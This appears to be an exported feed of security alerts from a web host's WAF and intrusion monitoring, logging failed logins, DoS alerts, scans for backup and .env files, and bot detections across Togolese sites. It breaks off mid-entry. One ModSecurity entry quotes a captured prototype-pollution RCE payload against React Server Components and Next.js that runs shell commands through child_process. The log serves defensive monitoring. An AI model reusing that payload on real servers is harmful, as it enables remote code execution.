name: Login failed on the cpanel service.
abuser: 24.131.201.68
country_id: 6252001
description:
[2026-07-01 16:37:59 +0000] info [cpaneld] 24.131.201.68 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.4.151.7
country_id: 6252001
description:
[2026-07-01 16:38:19 +0000] info [cpaneld] 67.4.151.7 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.118.179.253
country_id: 6252001
description:
[2026-07-01 16:38:13 +0000] info [cpaneld] 75.118.179.253 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.167.15.56
country_id: 6252001
description:
[2026-07-01 16:38:16 +0000] info [cpaneld] 24.167.15.56 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.91.148
country_id: 6252001
description:
[2026-07-01 16:38:08 +0000] info [cpaneld] 172.56.91.148 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 16:38:18 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:50356: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.175.39.222
country_id: 6252001
description:
[2026-07-01 16:38:11 +0000] info [cpaneld] 104.175.39.222 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 51.159.103.72
country_id: 3017382
description:
Denial of Service (DoS) attack was discovered from 51.159.103.72: 80 connections per 30 seconds to 443 port.


plugin: modsec
rule: 77093094
abuser: 3.26.217.139
country_id: 2077456
domain: test2.haplucia-togo.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.13.206.136
country_id: 6252001
description:
[2026-07-01 16:41:47 +0000] info [cpaneld] 73.13.206.136 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.47.74.197
country_id: 6252001
description:
[2026-07-01 16:41:50 +0000] info [cpaneld] 71.47.74.197 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.120.231.168
country_id: 6252001
description:
[2026-07-01 16:41:58 +0000] info [cpaneld] 70.120.231.168 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.62.228.167
country_id: 6252001
description:
[2026-07-01 16:42:10 +0000] info [cpaneld] 174.62.228.167 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.170.146.12
country_id: 6252001
description:
[2026-07-01 16:42:13 +0000] info [cpaneld] 70.170.146.12 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.79.68.56
country_id: 6252001
description:
[2026-07-01 16:42:08 +0000] info [cpaneld] 72.79.68.56 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.87.202
country_id: 2750405
description:
[2026-07-01 16:43:26 +0000] info [whostmgrd] 217.181.87.202 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.242.106
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:104.245.242.106||TA:104.245.242.106||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.26.217.139
country_id: 2077456
domain: test2.haplucia-togo.tg
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:phoicdxb||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 3.26.217.139
country_id: 2077456
domain: test2.haplucia-togo.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.22||T:APACHE||MV:phpinfo.php~||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.91.92.158
country_id: 2328926
description:
2026-07-01 16:44:43 dovecot_login authenticator failed for H=(localhost) [102.91.92.158]:33084: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.98.216.60
country_id: 290557
description:
2026-07-01 16:44:49 dovecot_login authenticator failed for H=bba-86-98-216-60.alshamil.net.ae (localhost) [86.98.216.60]:14911: 535 Incorrect authentication data (set_id=j.delbegue)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.191.220.204
country_id: 3865483
description:
Jul  1 16:44:29 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.191.220.204 has been locked due to Imunify RBL


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 34.74.151.207
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (34.74.151.207) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.132.83
country_id: 3469034
description:
Jul  1 16:45:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.132.83 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.208.150.1
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.127 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 134.209.78.222
country_id: 6252001
description:
Jul  1 16:46:36 ns5 pure-ftpd[2599393]: (?@134.209.78.222) [INFO] New connection from 134.209.78.222


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 134.209.78.222
country_id: 6252001
description:
Jul  1 16:46:41 ns5 pure-ftpd[2599395]: (?@134.209.78.222) [WARNING] Authentication failed for user [bighostingsnbd]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 2.56.189.73
country_id: 6252001
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-46.2.56.189.73||RSV:8.22||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - ingersarlu@inger.tg [07/01/2026:16:47:21 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: ingersarlu@inger.tg


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 2.56.189.73
country_id: 6252001
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-47.2.56.189.73||RSV:8.22||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.177.5
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.177.5: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.178.185
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.178.185: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 8.229.228.0
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (8.229.228.0) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 40.81.230.77
country_id: 1269750
description:
[2026-07-01 16:50:42 +0000] info [whostmgrd] 40.81.230.77 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 40.81.230.77
country_id: 1269750
description:
[2026-07-01 16:50:45 +0000] info [whostmgrd] 40.81.230.77 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 35.88.205.197
country_id: 6252001
description:
35.88.205.197 - - [01/Jul/2026:16:52:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263658&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782924776 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/index.php?cmd=newupld" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Safari/537.36 Edge/18.19582" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:35.88.205.197


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 146.70.65.241
country_id: 2328926
domain: pnls.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.189.88.14
country_id: 1880251
description:
[2026-07-01 16:53:26 +0000] info [cpaneld] 206.189.88.14 - NULL "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user NULL (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.162.199
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>dans le th\xc3\xa9\xc3\xa2tre de la transformation \xc3\xa9nerg\xc3\xa9tique en afrique de l'ouest, le togo s'impose comme l'un des espaces o\xc3\xb9 la transition vers le solaire domestique prend une dimension particuli\xc3\xa8rement frappante. dans le pays, l'\xc3\xa9lectricit\xc3\xa9 ne se r\xc3\xa9sume plus aux lignes classiques du r\xc3\xa9seau national : elle se d\xc3\xa9ploie aussi \xc3\xa0 travers des dispositifs autonomes de l\xe2\x80\x99\xc3\xa9nergie solaire.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>lors d\xe2\x80\x99une intervention \xc3\xa0 l\xe2\x80\x99assembl\xc3\xa9e nationale, le ministre robert eklo en charge du secteur a indiqu\xc3\xa9 que parall\xc3\xa8lement aux efforts du gouvernement pour augmenter l\xe2\x80\x99offre de l\xe2\x80\x99\xc3\xa9nergie thermique, il poursuit le d\xc3\xa9veloppement des \xc3\xa9nergies renouvelables avec la mise en service prochaine de la centrale solaire de dapaong, d'une capacit\xc3\xa9 de 25 m\xc3\xa9gawatts-cr\xc3\xaate, coupl\xc3\xa9e \xc3\xa0 un syst\xc3\xa8me de stockage de 40 m\xc3\xa9gawattheures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d\xc3\xa9j\xc3\xa0, les centrales solaires de sokod\xc3\xa9 (60 m\xc3\xa9gawatts-cr\xc3\xaate) et awandj\xc3\xa9lo (42 m\xc3\xa9gawatts-cr\xc3\xaate), l'extension de la centrale de blitta de 30 m\xc3\xa9gawatts-cr\xc3\xaate suppl\xc3\xa9mentaires avec 10 m\xc3\xa9gawattheures de stockage t\xc3\xa9moignent de l\xe2\x80\x99ambition des autorit\xc3\xa9s du pays pour les \xc3\xa9nergies renouvelables.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31765,\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/webinaire-02-juillet-26.jpg\" alt=\"\" class=\"wp-image-31765\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>mise en exploitation en juin 2021 avec une capacit\xc3\xa9 initiale de 50 mw, la centrale photovolta\xc3\xafque de blitta portera bient\xc3\xb4t sa capacit\xc3\xa9 \xc3\xa0 100 mw. exploit\xc3\xa9e par amea togo solar sau, elle s'impose comme l'un des plus grands projets solaires d'afrique de l'ouest. elle a permis d'alimenter environ 600.000 m\xc3\xa9nages et pme, sans \xc3\xa9missions fossiles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans la r\xc3\xa9gion des plateaux par exemples, on d\xc3\xa9nombre 29 752 foyers (environ 380.000 personnes) \xc3\xa9quip\xc3\xa9s de kits solaires en 2025 contre 27.650 m\xc3\xa9nages en 2024. une progression nette, presque vibrante, qui traduit l'\xc3\xa9largissement continu de cette technologie dans les foyers ruraux et p\xc3\xa9riurbains.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la progression entre 2024 et 2025 est celle d'une course d'extension continue. c'est la diffusion progressive de l'\xc3\xa9nergie solaire dans les foyers, port\xc3\xa9e par des politiques publiques, des initiatives priv\xc3\xa9es et une appropriation croissante des populations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au gouvernement, on affirme que ce mouvement n'est pas anodin. il r\xc3\xa9v\xc3\xa8le une mutation progressive des habitudes \xc3\xa9nerg\xc3\xa9tiques, port\xc3\xa9e par la diffusion de solutions hors r\xc3\xa9seau adapt\xc3\xa9es aux r\xc3\xa9alit\xc3\xa9s de terrain. \xc2\xab&nbsp;<em>le kit solaire, souvent compos\xc3\xa9 d'un panneau photovolta\xc3\xafque, d'une batterie et de points d'\xc3\xa9clairage, devient un compagnon discret mais d\xc3\xa9terminant du quotidien</em>&nbsp;\xc2\xbb, fait-on savoir.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en effet, dans les villages comme dans les petites agglom\xc3\xa9rations, cette technologie change la donne. elle prolonge les heures d'activit\xc3\xa9 apr\xc3\xa8s le coucher du soleil, s\xc3\xa9curise les d\xc3\xa9placements nocturnes et am\xc3\xa9liore les conditions d'\xc3\xa9tude des \xc3\xa9l\xc3\xa8ves. elle permet \xc3\xa9galement de maintenir une activit\xc3\xa9 \xc3\xa9conomique minimale dans les boutiques, ateliers et exploitations agricoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>l'enjeu d\xc3\xa9passe le confort domestique. dans une r\xc3\xa9gion o\xc3\xb9 l'activit\xc3\xa9 agricole structure l'essentiel de l'\xc3\xa9conomie, l'acc\xc3\xa8s \xc3\xa0 une source d'\xc3\xa9nergie fiable facilite la conservation de certains produits, la transformation artisanale et l'organisation des circuits de vente locaux.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ce qui frappe surtout, c'est l'effet d'accumulation. chaque nouveau m\xc3\xa9nage \xc3\xa9quip\xc3\xa9 n'ajoute pas seulement un point lumineux de plus sur la carte \xc3\xa9nerg\xc3\xa9tique : il contribue \xc3\xa0 un basculement silencieux vers une autonomie partielle, une r\xc3\xa9silience accrue face aux al\xc3\xa9as du r\xc3\xa9seau conventionnel. dans cette r\xc3\xa9gion de vastes \xc3\xa9tendues, o\xc3\xb9 les distances entre localit\xc3\xa9s restent parfois importantes, le solaire domestique agit comme un trait d'union \xc3\xa9nerg\xc3\xa9tique. il relie des foyers dispers\xc3\xa9s \xc3\xa0 une forme minimale mais essentielle de modernit\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31645,\"width\":\"527px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-78.png\" alt=\"\" class=\"wp-image-31645\" style=\"width:527px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>au minist\xc3\xa8re d\xc3\xa9l\xc3\xa9gu\xc3\xa9 charg\xc3\xa9 de l\xe2\x80\x99\xc3\xa9nergie et des ressources mini\xc3\xa8res, on rel\xc3\xa8ve qu\xe2\x80\x99en 2024, la capacit\xc3\xa9 totale d\xe2\x80\x99\xc3\xa9nergie \xc3\xa9lectrique install\xc3\xa9e s'\xc3\xa9levait \xc3\xa0 327 mw, avec une part de 41,24 % provenant des sources renouvelables, dont 31,08 % pour le solaire photovolta\xc3\xafque et 10,16 % pour l'hydro\xc3\xa9lectricit\xc3\xa9<strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>(in le mediun n\xc2\xb0709 du 30 juin au 06 juillet 2026)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 16:56:18 +0000] info [cpaneld] 157.85.210.56 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.217.85.44
country_id: 953987
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/special-journee-de-de-don-de-sang HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.26
country_id: 3469034
description:
Jul  1 16:57:37 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.26 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.142.36.169
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:193.142.36.169||TA:193.142.36.169||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 54.229.152.25
country_id: 2963597
domain: version.mesyscom.com
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:jmtctoni||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 54.229.152.25
country_id: 2963597
domain: version.mesyscom.com
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:jmtctoni||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.224.5.136
country_id: 6252001
domain: www.ahoefa.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.120 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.49
country_id: 6252001
description:
205.169.39.49 - - [01/Jul/2026:17:06:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6528098&pdata=http%253A%252F%252Fpnls.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782925614 HTTP/1.1" 302 0 pnls.tg "http://pnls.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.15
country_id: 6252001
description:
205.169.39.15 - - [01/Jul/2026:17:06:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7237831&pdata=https%253A%252F%252Fpnls.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782925563 HTTP/2.0" 302 0 pnls.tg "https://pnls.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.15


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.109.199.207
country_id: 1269750
domain: autodiscover.nerohost.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.76.80
country_id: 1562822
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/premiere-edition-de-la-journee-du-cat HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.111.37.29
country_id: 3686110
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/un-atelier-regional-a-lome-pour-renforcer-la-restauration-des-paysages-forestiers/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.204.158.12
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/un-atelier-regional-a-lome-pour-renforcer-la-restauration-des-paysages-forestiers/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.109.199.207
country_id: 1269750
domain: autodiscover.nerohost.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:root||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.157.48.80
country_id: 1643084
description:
[2026-07-01 17:10:57 +0000] info [cpaneld] 103.157.48.80 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.65.54.205
country_id: 6252001
description:
[2026-07-01 17:11:33 +0000] info [cpaneld] 174.65.54.205 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.136.225.250
country_id: 6252001
description:
[2026-07-01 17:11:39 +0000] info [cpaneld] 73.136.225.250 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.16.133.153
country_id: 6252001
description:
[2026-07-01 17:11:56 +0000] info [cpaneld] 174.16.133.153 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.112.60.247
country_id: 6252001
description:
[2026-07-01 17:11:36 +0000] info [cpaneld] 73.112.60.247 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 17:11:28 +0000] info [cpaneld] 157.85.210.56 - lxsenjdd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.6.224.19
country_id: 6252001
description:
[2026-07-01 17:11:47 +0000] info [cpaneld] 108.6.224.19 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.14.38.188
country_id: 6252001
description:
